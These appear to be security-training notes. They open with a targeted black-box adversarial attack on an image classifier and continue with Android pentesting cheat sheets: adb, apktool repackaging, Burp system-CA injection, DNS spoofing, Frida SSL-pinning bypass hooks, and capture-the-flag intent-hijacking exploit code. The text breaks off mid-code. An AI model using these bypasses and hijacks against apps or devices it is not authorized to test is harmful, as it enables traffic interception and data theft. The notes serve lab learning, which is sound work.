5. **Final results**: Once the attack succeeds, the predicted class for the perturbed image is printed. The original and perturbed images are displayed, and the difference between them is plotted in a histogram.

In summary, the code performs an iterative process to find a perturbation that successfully changes the model's classification of the image.

## Exercise

That was an untargeted attack, what about a targeted attack?

1. Modify the above code to perform a targeted adversarial evasion: make the German Shepherd look like a robin.

Hint: we're making our starting class score go down in the example above -- how could you make the target class score go up instead?

## Solution

1. **Provided Code**

The code below is provided in the lab and must be run for the exercise solution to work.

{% code overflow="wrap" %}

```python
n_masks = 1000
eta = 0.005

# Generate a tensor that is a collection of "masks"
# The tensor will have 1000 copies of tensors with the same shape as img_tensor
# The values will have a mean 0 and variance 1 and be scaled down by eta 
mask_collection = torch.randn((n_masks, *img_tensor.shape)).to(device) * eta

# initial mask with shape of img_tensor and values of 0
current_mask = torch.zeros_like(img_tensor).to(device)

# compute our starting index
starting_index = model(img_tensor).argmax(1)
print(f"Starting index is:\n---------------\n{starting_index}\n")

starting_class_score = model(img_tensor + current_mask)[0, starting_index.item()].item()
print(f"Starting class score is:\n---------------\n{starting_class_score}\n")
```

{% endcode %}

2. **Targeted Attack**

{% code overflow="wrap" %}

```python
# Zero our current mask
current_mask = torch.zeros_like(img_tensor).to(device)

# Get our starting label index
starting_label = model(img_tensor).argmax(1).item()
current_label = starting_label

# Target class index
target_index = torch.tensor(labels.index('robin')).unsqueeze(0).to(device)

# Get our starting confidence score
best_score = model(img_tensor + current_mask)[0, target_index.item()].item()

# Run until we reclassify successfully ...
while current_label != target_index:

    # Select a random mask from the collection we created
    mask_candidate_idx = np.random.choice(len(mask_collection))
    mask_candidate = mask_collection[mask_candidate_idx]

    # Don't store gradient information while doing inference
    with torch.no_grad():
        output = model(img_tensor + current_mask + mask_candidate)
    
    # Based on our mask addition, get our new label and updated score
    current_label = output.argmax(1).item()
    new_score = output[0, target_index.item()].item()

    # If we haven't hit our target yet and also didn't improve the score, just move on
    # NOTE CHANGED TARGET_LABEL TO STARTING_LABEL because our goal is to NOT BE what we are more than be a specific thing
    if new_score < best_score:
        continue

    # Write some monitoring for dopamine 
    print(f"Best score is: {best_score:4.6f} -- pred score is: {output[0, current_label].item()} -- prediction is: {current_label}  ", end='\r', flush=True)
    
    # Update our current score
    best_score = new_score
    
    # And update our mask
    current_mask += mask_candidate
                
print(f"\n\nWinner winner: {labels[output[0].argmax()]}")
```

{% endcode %}

**Purpose:**  This code aims to misclassify an image by applying a targeted adversarial perturbation until the model predicts a specific target class ("robin").

1. **Setup**: The `current_mask` is initialized to zeros and applied to the original image tensor. The starting class label and the target label index ("robin") are set, and the model's confidence score for the target class is recorded.
2. **Iterative mask application**: In a loop, a random mask from a pre-generated collection of masks is chosen and temporarily applied to the current mask. The model’s prediction for the modified image is evaluated, specifically checking if the new prediction is closer to the target label.
3. **Score evaluation**: If the updated score for the target label is higher than the previous best score, the `current_mask` is updated with the selected mask, and the process continues.
4. **Success criteria**: The loop continues until the model classifies the image as the target label ("robin").
5. **Result**: Once the model misclassifies the image as the target class, the attack succeeds, and the final prediction is printed.

{% embed url="<https://github.com/cg563/simple-blackbox-attack>" %}


# Android


# adb

Android Debug Bridge (adb) is a versatile command-line tool that lets you communicate with a device.

## Commands

### ADB Basics

```bash
adb devices (lists connected devices)
adb root (restarts adbd with root permissions)
adb start-server (starts the adb server)
adb kill-server (kills the adb server)
adb reboot (reboots the device)
adb devices -l (list of devices by product/model)
adb shell (starts the backround terminal)
exit (exits the background terminal)
adb help (list all commands)
adb -s <deviceName> <command> (redirect command to specific device)
adb –d <command> (directs command to only attached USB device)
adb –e <command> (directs command to only attached emulator)
```

### Package Installation

```bash
adb install <apk> (install app)  
adb install <path> (install app from phone path)  
adb install -r <path> (install app from phone path)
adb install-multiple <apk> config.* (install from xapk)
adb uninstall <name> (remove the app)
```

### Paths

```bash
/data/data/<package>/databases (app databases)
/data/data/<package>/shared_prefs/ (shared preferences)
/data/app (apk installed by user)
/system/app (pre-installed APK files)
/mmt/asec (encrypted apps) (App2SD)
/mmt/emmc (internal SD Card)
/mmt/adcard (external/internal SD Card)
/mmt/adcard/external_sd (external SD Card)

adb shell ls (list directory contents)
adb shell ls -s (print size of each file)
adb shell ls -R (list subdirectories recursively)
```

### File Operations

```bash
adb push <local> <remote> (copy file/dir to device)
adb pull <remote> <local> (copy file/dir from device)
run-as <package> cat <file> (access the private package files)
```

### Phone Info

```bash
adb get-statе (print device state)
adb get-serialno (get the serial number)
adb shell dumpsys iphonesybinfo (get the IMEI)
adb shell netstat (list TCP connectivity)
adb shell pwd (print current working directory)
adb shell dumpsys battery (battery status)
adb shell pm list features (list phone features)
adb shell service list (list all services)
adb shell dumpsys activity <package>/<activity> (activity info)
adb shell ps (print process status)
adb shell wm size (displays the current screen resolution)
adb shell getprop ro.product.cpu.abi (print CPU architecture)
dumpsys window windows | grep -E 'mCurrentFocus|mFocusedApp' (print current app's opened activity)
```

### Package Info

```bash
adb shell pm list packages (list package names)
adb shell pm list packages -r (list package name + path to apks)
adb shell pm list packages -3 (list third party package names)
adb shell pm list packages -s (list only system packages)
adb shell pm list packages -u (list package names + uninstalled)
adb shell dumpsys package packages (list info on all apps)
adb shell dump <name> (list info on one package)
adb shell path <package> (path to the apk file)
```

### Configure Settings Commands

```bash
adb shell dumpsys battery set level <n> (change the level from 0 to 100)
adb shell dumpsys battery set status<n> (change the level to unknown, charging, discharging, not charging or full)
adb shell dumpsys battery reset (reset the battery)
adb shell dumpsys battery set usb <n> (change the status of USB connection. ON or OFF)
adb shell wm size WxH (sets the resolution to WxH)
```

### Device Related Commands

```bash
adb reboot-recovery (reboot device into recovery mode)
adb reboot fastboot (reboot device into recovery mode)
adb shell screencap -p "/path/to/screenshot.png" (capture screenshot)
adb shell screenrecord "/path/to/record.mp4" (record device screen)
adb backup -apk -all -f backup.ab (backup settings and apps)
adb backup -apk -shared -all -f backup.ab (backup settings, apps and shared storage)
adb backup -apk -nosystem -all -f backup.ab (backup only non-system apps)
adb restore backup.ab (restore a previous backup)
adb shell am start|startservice|broadcast <INTENT>[<COMPONENT>]
-a <ACTION> e.g. android.intent.action.VIEW
-c <CATEGORY> e.g. android.intent.category.LAUNCHER (start activity intent)

adb shell am start com.example.app/.SecretActivity
adb shell am start -a android.intent.action.VIEW -d URL (open URL)
adb shell am start -t image/* -a android.intent.action.VIEW (opens gallery)
```

### Logs

```bash
adb logcat [options] [filter] (view device log. Ex: adb logcat com.android.app -b all -v color)
adb bugreport (print bug reports)
```

### Permissions

```bash
adb shell permissions groups (list permission groups definitions)
adb shell list permissions -g -r (list permissions details)
```

### Commonly used commands

#### Download APK from mobile device

<pre class="language-bash"><code class="lang-bash"><strong>adb shell pm list packages
</strong>adb shell pm path com.example.someapp
adb pull /data/app/com.example.someapp-2.apk path/to/desired/destination

# If the apk is divided in multiple parts

</code></pre>

## References

{% embed url="<https://developer.android.com/studio/command-line/adb?hl=es-419>" %}


# apktool

Tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications.

## Commands

### Decode

```bash
# Decode apk/file to a folder
apktool d package.apk -o package

# Options:
-b: do not write debug info
-f: force delete destination folder
-k: use if there was an error and some resources were dropped
-m: keep files to closest to original as possible (prevent rebuilds)
-o: output folder (default: apk.out)
-p: use framework files located in <folder>
-r: do not decode resources
-s: do not decode sources
-t: use framework files tagged by <tag>
```

### Build

```bash
# Build an apk/jar file from folder
apktool b package -o package.apk

# Options:
-a: load aapt from specified location
-api: numeric api-level of the file to generate
-c: copy original AndroidManifest.xml and META-INF
-d: set android:debuggable to "true" in the APK's compiled manifest
-f: skip changes detection and build all files
-n: add generic network security configuration file in the output apk
-nc: disable crunching of resource files during the build step
-o: that name of apk that gets written (default: dist/name.apk)
-p: use framework files located in <folder>
```

## How to rebuild a modified apk

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"># Decompile apk
apktool d package.apk

<strong># Modify the files that you want!!
</strong>
# Rebuild apk (from the folder of apk extracted)
apktool b

# Generate the key to sign
keytool -genkey -v -keystore research.keystore -alias research_key -keyalg RSA -keysize 2048 -validity 10000

# Sign the apk with the key
<strong>    # Option 1: jarsigner (v1 scheme)
</strong>    jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore research.keystore dist/apk_build.apk research_key

    # Option 2: apksigner (v2, v3, v4 scheme) - RECOMMENDED
    apksigner sign --ks research.keystore --ks-key-alias research_key dist/apk_build.apk

# Optional: Zipalign to optimize APK (may cause problems with modern schemes)
/path/to/Android/sdk/build-tools/VERSION/zipalign -v -p 4 input.apk output.apk
</code></pre>

## Patching Network Security Config

Unpack the target apk and modify the AndroidManifest.xml to add networkSecurityConfig

```bash
<application android:networkSecurityConfig="@xml/network_security_config" [...]
```

Create a permissive file on `res/xml/network_security_config.xml`

```xml
<network-security-config>
    <base-config>
        <trust-anchors>
            <certificates src="user"/>
            <certificates src="system"/>
        </trust-anchors>
    </base-config>
</network-security-config>
```

Rebuild the apk as explained in [#how-to-rebuild-a-modified-apk](#how-to-rebuild-a-modified-apk "mention").

## References

{% embed url="<https://github.com/iBotPeaches/Apktool>" %}


# burp suite

The class-leading vulnerability scanning, penetration testing, and web app security platform.

## Configuring burp suite to work as Android proxy

### Configure a dedicated proxy listener in Burp

1. In Burp, open the Settings dialog.
2. Go to Tools > Proxy.
3. Under Proxy Listeners, click Add.
4. On the Binding tab, set Bind to port to any available port.
5. Set Bind to address to All interfaces.
6. Click OK and confirm your entries when prompted.

#### **Optional:** Transparent Proxy (for DNS spoofing)

1. Proxy listener Bind to port 80.
2. Request Handling > Check Support invisible proxying.
3. Same process for port 443.

### Configure Android to proxy traffic through Burp

1. On your Android device, go to the network and internet settings.
2. Open the network details for the Wi-Fi network that you want to use for testing.
3. Enter edit mode.
4. In the advanced settings, choose the option to configure a proxy manually.
5. Set the Proxy hostname to the IP address of the machine you're using to run Burp.
6. Set the Proxy port to the port you assigned to the new proxy listener you configured in Burp. For more information, see Configure a dedicated proxy listener in Burp
7. Save your changes and then connect to the Wi-Fi network. Your device's web traffic is now proxied through Burp.

### Add Burp's CA certificate to your device's trust store (user way)

1. In Burp, open the Settings dialog.
2. Go to Tools > Proxy.
3. Under Proxy Listeners, click Import / export CA certificate.
4. In CA Certificate dialog, select Export > Certificate in DER format and click Next.
5. Enter a filename and location for the certificate. Note that you need to explicitly include the .der file extension.
6. Click Next. The dialog indicates that the certificate was successfully exported.
7. Add the certificate to your device's trust store. The process for doing this varies depending on the device or emulator you're using, as well your Android OS version. You can find detailed, third-party instructions on how to do this online.

```bash
# Convert to pem format
openssl x509 -inform der -in cert.der -out cert.pem
```

### Install Burp's CA certificate as system

1. Install the proxy certificate as a regular user certificate.
2. Ensure you are root (`adb root`), and execute the following commands in `adb shell`

```bash
# Backup the existing system certificates to the user certs folder
cp /system/etc/security/cacerts/* /data/misc/user/0/cacerts-added/

# Create the in-memory mount on top of the system certs folder
mount -t tmpfs tmpfs /system/etc/security/cacerts

# copy all system certs and our user cert into the tmpfs system certs folder
cp /data/misc/user/0/cacerts-added/* /system/etc/security/cacerts/

# Fix any permissions & selinux context labels
chown root:root /system/etc/security/cacerts/*
chmod 644 /system/etc/security/cacerts/*
chcon u:object_r:system_file:s0 /system/etc/security/cacerts/*
```

### Install System Certs on Android 14

This method also requires root access. First install your proxy certificate as a regular user cert. Then run the following script created by Tim Perry from [HTTP Toolkit](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) (credits <https://app.hextree.io/>):

```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
mkdir -p -m 700 /data/local/tmp/tmp-ca-copy

# Copy out the existing certificates
cp /apex/com.android.conscrypt/cacerts/* /data/local/tmp/tmp-ca-copy/

# Create the in-memory mount on top of the system certs folder
mount -t tmpfs tmpfs /system/etc/security/cacerts

# Copy the existing certs back into the tmpfs, so we keep trusting them
mv /data/local/tmp/tmp-ca-copy/* /system/etc/security/cacerts/

# Copy our new cert in, so we trust that too
cp /data/misc/user/0/cacerts-added/* /system/etc/security/cacerts/

# Update the perms & selinux context labels
chown root:root /system/etc/security/cacerts/*
chmod 644 /system/etc/security/cacerts/*
chcon u:object_r:system_file:s0 /system/etc/security/cacerts/*

# Deal with the APEX overrides, which need injecting into each namespace:

# First we get the Zygote process(es), which launch each app
ZYGOTE_PID=$(pidof zygote || true)
ZYGOTE64_PID=$(pidof zygote64 || true)
# N.b. some devices appear to have both!

# Apps inherit the Zygote's mounts at startup, so we inject here to ensure
# all newly started apps will see these certs straight away:
for Z_PID in "$ZYGOTE_PID" "$ZYGOTE64_PID"; do
    if [ -n "$Z_PID" ]; then
        nsenter --mount=/proc/$Z_PID/ns/mnt -- \
            /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
    fi
done

# Then we inject the mount into all already running apps, so they
# too see these CA certs immediately:

# Get the PID of every process whose parent is one of the Zygotes:
APP_PIDS=$(
    echo "$ZYGOTE_PID $ZYGOTE64_PID" | \
    xargs -n1 ps -o 'PID' -P | \
    grep -v PID
)

# Inject into the mount namespace of each of those apps:
for PID in $APP_PIDS; do
    nsenter --mount=/proc/$PID/ns/mnt -- \
        /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts &
done
wait # Launched in parallel - wait for completion here

echo "System certificate injected"
```

## IPtables to route traffic through Burp

Example commands:

```bash
adb shell "iptables -t nat -F"
adb shell "iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 192.168.0.26:8080"
adb shell "iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 192.168.0.26:8080"
adb shell "iptables -t nat -A POSTROUTING -p tcp --dport 443 -j MASQUERADE"
adb shell "iptables -t nat -A POSTROUTING -p tcp --dport 80 -j MASQUERADE"
```

## References

{% embed url="<https://portswigger.net/burp>" %}


# dns spoofing

## dnsmasq

### Setup dnsmasq

dnsmasq.conf

```
address=/appserver.com/192.168.178.37
address=/otherserver.com/192.168.178.37
log-queries
```

Run dnsmasq using docker

{% code overflow="wrap" %}

```bash
docker pull andyshinn/dnsmasq
docker run --name my-dnsmasq --rm -it -p 0.0.0.0:53:53/udp \
 -v D:\tmp\proxy\dnsmasq.conf:/etc/dnsmasq.conf andyshinn/dnsmasq.conf andyshinn/dnsmasq
```

{% endcode %}

## Configure DNS server on Android

### Option 1:  Settings way

Change DNS configuration from settings apps (but unfortunately some apps like Chrome will ignore our DNS server)

### Option 2: DNS over VPN

Using [rethinkdns app](https://github.com/celzero/rethink-app) we can control this:

1. Change DNS settings to "Other DNS"
2. Select "Proxy DNS" (DNS 53)
3. Create a new entry pointing ot your local DNS server host
4. Launch the VPN

You can check whether DNS spoofing works by going to Google Chrome and visit `chrome://net-internals`.


# frida

Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.

## Installation

### Client

```bash
pip3 install frida-tools
```

### Server

Download server for architecture from <https://github.com/frida/frida/releases>.

```bash
xz -d frida-server-16.5.6-android-arm64.xz
adb root
adb push frida-server-16.5.6-android-arm64 /data/local/tmp
adb shell
cd /data/local/tmp
chmod +x frida-server-16.5.6-android-arm64
./frida-server-16.5.6-android-arm64
```

## Commands

### Connection

```bash
frida -U targetAPK (connect to APK)
frida -U -l script.js targetAPK (execute script and connect to APK)
```

### frida-trace

Trace all calls on `com.testapp.*`:

```bash
frida-trace -U -j 'com.testapp.*!*' TestApp
```

Trace all calls from native library:

```
frida-trace -U -I 'native-lib' -j 'com.testapp.*!*' TestApp
```

## Tracing

### Activities

```javascript
Java.perform(() => {
    let ActivityClass = Java.use("android.app.Activity");
    ActivityClass.onResume.implementation = function() {
        console.log("[*] Activity resumed:", this.getClass().getName());
        this.onResume();
    }
})
```

### Fragments

```javascript
Java.perform(() => {
    let FragmentClass = Java.use("androidx.fragment.app.Fragment");
    FragmentClass.onResume.implementation = function() {
        console.log("[*] Fragment resumed:", this.getClass().getName());
        this.onResume();
    }
})
```

Returning a different output:

```javascript
Java.perform(() => {
    var InterceptionFragment = Java.use("io.hextree.fridatarget.ui.InterceptionFragment");
    InterceptionFragment.function_to_intercept.implementation = function(argument) {
        this.function_to_intercept(argument);
        return "SOMETHING DIFFERENT";
    }
})
```

## Disable SSL Pinning

### Bypass Network Security Config and SSLContext:

```javascript
Java.perform(() => {
    var PlatformClass = Java.use("com.android.org.conscrypt.Platform");
    PlatformClass.checkServerTrusted.overload('javax.net.ssl.X509TrustManager', '[Ljava.security.cert.X509Certificate;', 'java.lang.String', 'com.android.org.conscrypt.AbstractConscryptSocket').implementation = function() {
        console.log("Check server trusted");
    }
})
```

## OKHTTP3 Bypass

```javascript
Java.perform(() => {
    var BuilderClass = Java.use("okhttp3.OkHttpClient$Builder");
    BuilderClass.certificatePinner.implementation = function() {
        console.log("Certificate pinner called");
        return this;
    }
})
```

## JADX and Frida

If we want to load a class from jadx to Frida we can Right Click > Copy as frida snippet. Now paste it into `Java.perform` sentence:

```javascript
Java.perform(() => {
    let ExampleClass = Java.use("io.hextree.fridatarget.ExampleClass");
})
```

Having this class:

```java
package io.hextree.fridatarget;

/* loaded from: classes6.dex */
public class ExampleClass {
    public String returnDecryptedString() {
        return FlagCryptor.decodeFlag("ViBueiBpcmVsIGZycGhlcnlsIHJhcGVsY2dycSE=");
    }

    public String returnDecryptedStringIfPasswordCorrect(String password) {
        if (password.equals("VerySecret")) {
            return FlagCryptor.decodeFlag("WWhweHZ5bCBWIGpuZiBjbmZmamJlcSBjZWJncnBncnEh");
        }
        return null;
    }
}
```

For example we can create an instance of the ExampleClass and console.log the result. Example script:

```javascript
Java.perform(() => {
    let ExampleClass = Java.use("io.hextree.fridatarget.ExampleClass");
    let ExampleInstance = ExampleClass.$new();
    console.log(ExampleInstance.returnDecryptedString());
    console.log(ExampleInstance.returnDecryptedStringIfPasswordCorrect("VerySecret"));
})
```

**It's so much faster than manually reversing!**

## References

{% embed url="<https://app.hextree.io/>" %}

{% embed url="<https://frida.re/docs/android/>" %}

{% embed url="<https://learnfrida.info/>" %}


# intent

A messaging object you can use to request an action from another app component.

## Intents exploitation

### Basic Intent

This code defines an `onClick` event that creates an explicit `Intent` to launch `Flag1Activity` within the `io.hextree.attacksurface` package when triggered.

{% code overflow="wrap" %}

```java
public void onClick(View v) {
    Intent intent = new Intent();
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag1Activity"));
    startActivity(intent);
}
```

{% endcode %}

### Intent with extras

This `onClick` event creates an explicit `Intent` to launch `Flag2Activity` within the `io.hextree.attacksurface` package, setting the action to `"io.hextree.action.GIVE_FLAG"` before starting the activity.

{% code overflow="wrap" %}

```java
public void onClick(View v) {
    Intent intent = new Intent();
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag2Activity"));
    intent.setAction("io.hextree.action.GIVE_FLAG");
    startActivity(intent);
}
```

{% endcode %}

### Intent with data URI

This `onClick` event creates an explicit `Intent` to launch `Flag3Activity` within the `io.hextree.attacksurface` package, setting the action to `"io.hextree.action.GIVE_FLAG"` and providing a data URI pointing to `"https://app.hextree.io/map/android"` before starting the activity.

<pre class="language-java" data-overflow="wrap"><code class="lang-java"><strong>public void onClick(View v) {
</strong>    Intent intent = new Intent();
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag3Activity"));
    intent.setAction("io.hextree.action.GIVE_FLAG");
    intent.setData(Uri.parse("https://app.hextree.io/map/android"));
    startActivity(intent);
}
</code></pre>

### Multiple Intent calls

This `onClick` event sequentially launches `Flag4Activity` multiple times with different actions (`"PREPARE_ACTION"`, `"BUILD_ACTION"`, `"GET_FLAG_ACTION"`, `"INIT_ACTION"`), pausing for one second between each launch. Each `Intent` explicitly targets `Flag4Activity` within the `io.hextree.attacksurface` package to execute distinct actions in a specific order.

{% code overflow="wrap" %}

```java
public void onClick(View v) {
    Intent prepareIntent = new Intent();
    prepareIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
    prepareIntent.setAction("PREPARE_ACTION");
    startActivity(prepareIntent);

    try {
        Thread.sleep(1000);
    } catch (InterruptedException e) {
        throw new RuntimeException(e);
    }

    Intent buildIntent = new Intent();
    buildIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
    buildIntent.setAction("BUILD_ACTION");
    startActivity(buildIntent);

    try {
        Thread.sleep(1000);
    } catch (InterruptedException e) {
        throw new RuntimeException(e);
    }

    Intent getFlagIntent = new Intent();
    getFlagIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
    getFlagIntent.setAction("GET_FLAG_ACTION");
    startActivity(getFlagIntent);

    try {
        Thread.sleep(1000);
    } catch (InterruptedException e) {
        throw new RuntimeException(e);
    }

    Intent initIntent = new Intent();
    initIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
    initIntent.setAction("INIT_ACTION");
    startActivity(initIntent);
}
```

{% endcode %}

### Nested Intents (Intent in Intent)

This `onClick` event creates a chain of nested `Intents` to launch `Flag5Activity` in the `io.hextree.attacksurface` package. The primary `mainIntent` contains a nested `Intent` (`nestedIntent1`) with an extra key `"return"` set to `42`. Inside `nestedIntent1`, another `Intent` (`nestedIntent2`) is nested with an extra `"reason"` set to `"back"`. This structured setup initiates `Flag5Activity` with a chain of `Intents` for conditional processing.

```java
public void onClick(View v) {
    Intent mainIntent = new Intent();
    mainIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));

    Intent nestedIntent1 = new Intent();
    nestedIntent1.putExtra("return", 42);

    Intent nestedIntent2 = new Intent();
    nestedIntent2.putExtra("reason", "back");

    nestedIntent1.putExtra("nextIntent", nestedIntent2);

    mainIntent.putExtra("android.intent.extra.INTENT", nestedIntent1);

    startActivity(mainIntent);
}
```

### Intent Redirect (Intent Forwarding)

This `onClick` event constructs a series of nested `Intents` to initiate `Flag5Activity` in the `io.hextree.attacksurface` package. The main `Intent`, `mainIntent`, includes a nested `Intent` (`nestedIntent1`) with an extra key `"return"` set to `42`. Inside `nestedIntent1`, a secondary nested `Intent` (`nestedIntent2`) is configured to start `Flag6Activity`, with extras `"reason"` set to `"next"` and the flag `FLAG_GRANT_READ_URI_PERMISSION`. This layered structure directs `Flag5Activity` to process `nestedIntent1` and, conditionally, initiate `Flag6Activity`.

{% code overflow="wrap" %}

```java
public void onClick(View v) {
    Intent mainIntent = new Intent();
    mainIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));

    Intent nestedIntent1 = new Intent();
    nestedIntent1.putExtra("return", 42);

    Intent nestedIntent2 = new Intent();
    nestedIntent2.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag6Activity"));
    nestedIntent2.putExtra("reason", "next");
    nestedIntent2.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);

    nestedIntent1.putExtra("nextIntent", nestedIntent2);

    mainIntent.putExtra("android.intent.extra.INTENT", nestedIntent1);

    startActivity(mainIntent);
}
```

{% endcode %}

### Intent activity lifecycle

This `onClick` event sequentially launches `Flag7Activity` in the `io.hextree.attacksurface` package with two distinct actions. First, it starts `Flag7Activity` with the `"OPEN"` action. After a one-second pause, it launches `Flag7Activity` again with the `"REOPEN"` action, adding the `FLAG_ACTIVITY_SINGLE_TOP` flag to prevent creating a new instance if `Flag7Activity` is already at the top of the activity stack.

```java
public void onClick(View v) {
    Intent openIntent = new Intent();
    openIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity"));
    openIntent.setAction("OPEN");
    startActivity(openIntent);

    try {
        Thread.sleep(1000);
    } catch (InterruptedException e) {
        throw new RuntimeException(e);
    }

    Intent reopenIntent = new Intent();
    reopenIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity"));
    reopenIntent.setAction("REOPEN");
    reopenIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
    startActivity(reopenIntent);
}
```

### Intent returning Activity results

`HextreeLauncherActivity` displays a button that, when clicked, launches `Flag8Activity` using `startActivityForResult` to enable it to verify the calling activity’s identity. If `Flag8Activity` returns a result, `onActivityResult` can optionally handle it.

```java
public class HextreeLauncherActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_hextree_launcher);

        // Set up the button listener to launch Flag8Activity
        Button launchButton = findViewById(R.id.launchFlag8Button);
        launchButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                launchFlag8Activity();
            }
        });
    }

    public void launchFlag8Activity() {
        // Create an explicit Intent to launch Flag8Activity
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag8Activity"));
        startActivityForResult(intent, 1); // Use startActivityForResult to ensure getCallingActivity works in Flag8Activity
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        // Optionally, handle any returned result from Flag8Activity here
    }
}
```

### Intent returning Activity results + conditions

`HextreeLauncherActivity` displays a button that, when clicked, launches `Flag9Activity` to request a flag. Once `Flag9Activity` returns, `HextreeLauncherActivity` retrieves and displays the flag via a `Toast` message if the result is successful.

```java
public class HextreeLauncherActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_hextree_launcher);

        // Set up the button listener to launch Flag8Activity
        Button launchButton = findViewById(R.id.launchFlag8Button);
        launchButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                launchFlag9Activity();
            }
        });
    }

    public void launchFlag9Activity() {
        // Create an explicit Intent to launch Flag9Activity
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag9Activity"));
        startActivityForResult(intent, 1); // Use startActivityForResult to ensure getCallingActivity works in Flag9Activity
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);

        if (requestCode == 1 && resultCode == Activity.RESULT_OK && data != null) {
            // Retrieve the flag from the intent data
            String flag = data.getStringExtra("flag");
            if (flag != null) {
                // Display the flag using a Toast or any preferred method
                Toast.makeText(this, "Received flag: " + flag, Toast.LENGTH_LONG).show();
            }
        }
    }
}
```

### Hijack Implicit Intents

Manifest.xml

<pre class="language-xml"><code class="lang-xml">&#x3C;activity
    android:name=".SecondActivity"
    android:exported="true">
<strong>    &#x3C;intent-filter>
</strong>        &#x3C;action android:name="io.hextree.attacksurface.ATTACK_ME"/>
        &#x3C;category android:name="android.intent.category.DEFAULT" />
    &#x3C;/intent-filter>
&#x3C;/activity>
</code></pre>

`SecondActivity` listens for an implicit intent with the action `"io.hextree.attacksurface.ATTACK_ME"`. When launched, it retrieves a flag from the intent’s extras, displays it with a `Toast`, and returns a result if needed before finishing.

{% code overflow="wrap" %}

```java
public class SecondActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Check if the intent action matches the expected action
        Intent intent = getIntent();
        if ("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())) {
            // Retrieve the flag from the intent's extras
            String flag = intent.getStringExtra("flag");

            if (flag != null) {
                // Display the flag using a Toast
                Toast.makeText(this, "Received flag: " + flag, Toast.LENGTH_LONG).show();

                // Optionally, send a result back if needed
                Intent resultIntent = new Intent();
                resultIntent.putExtra("received_flag", flag);
                setResult(Activity.RESULT_OK, resultIntent);
            } else {
                Toast.makeText(this, "Flag not found in intent", Toast.LENGTH_SHORT).show();
            }
        } else {
            Toast.makeText(this, "Incorrect intent action", Toast.LENGTH_SHORT).show();
        }

        finish();
    }
}
```

{% endcode %}

### Hijack Implicit Intents (+ respond a specific result)

`SecondActivity` listens for an implicit intent with the action `"io.hextree.attacksurface.ATTACK_ME"`. Upon receiving it, the activity creates a result intent containing a specific token (`1094795585`) and returns it to the calling activity, then finishes.

```java
public class SecondActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = getIntent();
        if ("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())) {
            Intent resultIntent = new Intent();
            resultIntent.putExtra("token", 1094795585);
            setResult(RESULT_OK, resultIntent);
            finish();
        }

        finish();
    }
}
```

## Utils

Java class for debug

```java
// package io.hextree.activitiestest;

import android.animation.AnimatorSet;
import android.animation.ObjectAnimator;
import android.app.Dialog;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.Typeface;
import android.os.Bundle;
import android.view.Gravity;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.TextView;

import java.util.Set;

public class Utils {
    public static String dumpIntent(Context context, Intent intent) {
        return dumpIntent(context, intent, 0);
    }

    private static String dumpIntent(Context context, Intent intent, int indentLevel) {
        if (intent == null) {
            return "Intent is null";
        }

        StringBuilder sb = new StringBuilder();
        String indent = new String(new char[indentLevel]).replace("\0", "    ");

        // Append basic intent information
        sb.append(indent).append("[Action]    ").append(intent.getAction()).append("\n");
        // Append categories
        Set<String> categories = intent.getCategories();
        if (categories != null) {
            for (String category : categories) {
                sb.append(indent).append("[Category]  ").append(category).append("\n");
            }
        }
        sb.append(indent).append("[Data]      ").append(intent.getDataString()).append("\n");
